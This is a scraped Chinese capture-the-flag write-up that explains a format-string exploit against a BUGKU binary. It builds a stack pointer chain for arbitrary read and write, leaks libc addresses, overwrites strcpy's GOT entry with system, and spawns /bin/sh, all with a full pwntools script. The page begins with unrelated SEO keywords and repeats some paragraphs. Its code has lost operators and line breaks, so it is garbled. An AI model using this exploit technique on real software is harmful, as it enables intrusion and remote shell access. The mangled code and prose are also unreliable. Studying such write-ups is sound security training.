长沙专业网站设计平台,php网站开发实例,长沙网站seo收费,专门做电容的网站整体思路
实现循环--获取libc版本和system函数地址-将strcpy的got表项修改为system并获得shell
第一步#xff1a;实现循环
从汇编语句可以看出#xff0c;在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处获取libc版本和system函数地址-将strcpy的got表项修改为system并获得shell
第一步实现循环
从汇编语句可以看出在每次循环结束时若0x201700处的值是否大于1则会继续循环。
encode1会将编码后的结果保存至0x2015c0处而encode 1的编码逻辑比较简单key的长度为0时明文和密文是一样的因此只需传入b\x00为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。
第二步获取libc版本和system函数地址
要获取libc版本需要找到部分libc中的函数的地址例如putsreadprintf本题我们想办法找到puts和read函数的地址。
注意到encode2在末尾调用了printf且将密文作为唯一字符串传参这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难但encode2的密文并不是保存在栈上。
万变不离其宗printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。
此外由于每次循环只能printf一次所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾rbp往上找通常来说这段栈在main函数结束前不会被覆盖。当然你也可以随便找一个会被回收的地方然后赌下次调用前值是否被覆盖
翻遍了代码我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。
那么我们只能曲线救国通常当字符串不在栈上时要想往栈上某个地方写入任意值我们就要找栈中是否存在一个超过3个元素的地址链条p1--p2--p3p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。
通过调试发现encode2函数中printf的第14个参数记作$14正好指向$50而$50正好指向$54更有趣的是$50中保存的是main函数的rbp寄存器的值这意味着$54是main函数的栈尾。显然$50和$54在循环间是不会被覆盖的。
现在我们有了这个链条具体要怎么往栈上某处写入任意值呢
这个某处就是p3这题是$54。
假设此时$54为0x0, $50处为0x7fff6550
我要往$54写入0x1234567887654321假设此时$50处为0x7fff6550
首先使用%87c%14$hhn$50的最低字节会被写入0x57从而变成0x7fff6557
然后使用%18c%50$hhn$54的最高字节会被写入0x12从而变成0x1200000000000000
接着使用%86c%14$hhn$50的最低字节会被写入0x56从而变成0x7fff6556
然后使用%52c%14$hhn$54的最高字节会被写入0x34从而变成0x1234000000000000
如此往复直到把$54写成0x1234567887654321为止。
既然能实现$54的任意内容读写那我们当然也能实现任意地址读了只需通过上述方法往$54处写入任意地址然后用%54$s即可读出。那如何实现任意地址写呢假设我们要往0x1234处写入0x5678首先先通过上述方法把$54写成0x1234然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。
通过上述方法我们可以轻易打印出puts和read函数的地址然后利用LibcSearcher函数搜索libc版本并获取system地址。
第三步将strcpy的got表项修改为system并获取shell
为什么是修改strcpy
考虑到本题字符串不在栈上对任意地址的写入要通过多个循环完成这意味着用于必须选择一个不在这些循环中被调用到的函数而putsreadprintf都不行同时我们还必须能够传入想要的字符串到rdi中正好encode3中的strcpy满足了这一条件。
源码如下
需要注意的是不同系统中的p1--p2--p3链条可能存在差异博主测试发现Ubuntu 24.04中的链条是$22-$50-$54而centos 8上则是$14-$50-$54BUGKU官方靶机也是$14-$50-$54。
from pwn import *
from LibcSearcher import *context(os linux, arch amd64)
sh process(./pwn6)
# sh remote(114.67.175.224, 18702)# 构建encode2的密文-明文映射
c2m_v2 {}
for a in range(256):c2m_v2[((a 192) 6) (a 48) * 4 (a 12) * 4 (a 3) * 4] a# 构建encode3密文-明文映射
c2m_v3 {}
for a in range(256):k ((a 192) 2) ((a 48) 2) ((a 12) 2) a * 64c2m_v3[k%256] a# 写入201700处实现无限重入
sh.sendlineafter(choice:\n, 1)
sh.sendafter(keys?\n, b\x00) # 使得密文等于明文
sh.sendafter(to encode:\n, b\x00 * 0x140 p64(0x01111111))def get_ptr(n):sh.sendlineafter(choice:\n, 2)cipher % str(n) $p\x00plain .join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter(to encode:\n, plain)sentence sh.recvuntil(nice encoding, dropTrue)addr b0x sentence.split(b0x)[-1]addr addr.decode(utf-8)addr int(addr, 16)return addrdef get_value(n):sh.sendlineafter(choice:\n, 2)cipher % str(n) $s\x00plain .join([ chr(c2m_v2[ord(i)]) for i in cipher ])sh.sendafter(to encode:\n, plain)sentence sh.recvuntil(nice encoding, dropTrue)value u64(sentence[-6:].ljust(8, b\x00))return valuedef write_to_54(addr):content_50 get_ptr(50);for j in range(8):i 7 - j# write last byte of %50 from %14last_byte content_50 % 0x100 ish.sendlineafter(choice:\n, 2)cipher % str(last_byte) c%14$hhn\x00plain .join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter(to encode:\n, plain)# write i-th byte of %54 from %50addr_byte (addr (0xff (8*i))) (8*i)sh.sendlineafter(choice:\n, 2)cipher % str(addr_byte) c%50$hhn\x00if addr_byte 0:cipher %50$hhn\x00plain .join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter(to encode:\n, plain)def write_from_54(addr, value):for j in range(8):i 7 - j# write last byte of %54 from %50last_byte addr % 0x100 ish.sendlineafter(choice:\n, 2)cipher % str(last_byte) c%50$hhn\x00plain .join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter(to encode:\n, plain)# write i-th byte of addr from %54value_byte (value (0xff (8*i))) (8*i)sh.sendlineafter(choice:\n, 2)cipher % str(value_byte) c%54$hhn\x00if value_byte 0:cipher %54$hhn\x00plain .join([ chr(c2m_v2[ord(k)]) for k in cipher ])sh.sendafter(to encode:\n, plain)# 任意地址写
def modify(addr, value):# value至少得有六字节write_to_54(addr)write_from_54(addr, value)# 任意地址读
def get_value_of(addr):write_to_54(addr)return get_value(54)# PIE基地址
base_addr get_ptr(51) - 0xe5b# 获取puts和read函数的地址
puts_got base_addr 0x201550
read_got base_addr 0x201560puts_addr get_value_of(puts_got)
read_addr get_value_of(read_got)# 搜索libc版本
libc LibcSearcher(read, read_addr)
libc.add_condition(puts, puts_addr)# 获取system函数地址
libc_base_addr read_addr - libc.dump(read)
system_addr libc_base_addr libc.dump(system)
print(system_addr, hex(system_addr))# printf修改strcpy的got使得指向system
strcpy_got base_addr 0x201580
modify(strcpy_got, system_addr)# 获取shell
sh.sendlineafter(choice:\n, 3)
cipher /bin/sh\x00
plain .join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter(to encode:\n, plain)
sh.recv()
sh.interactive()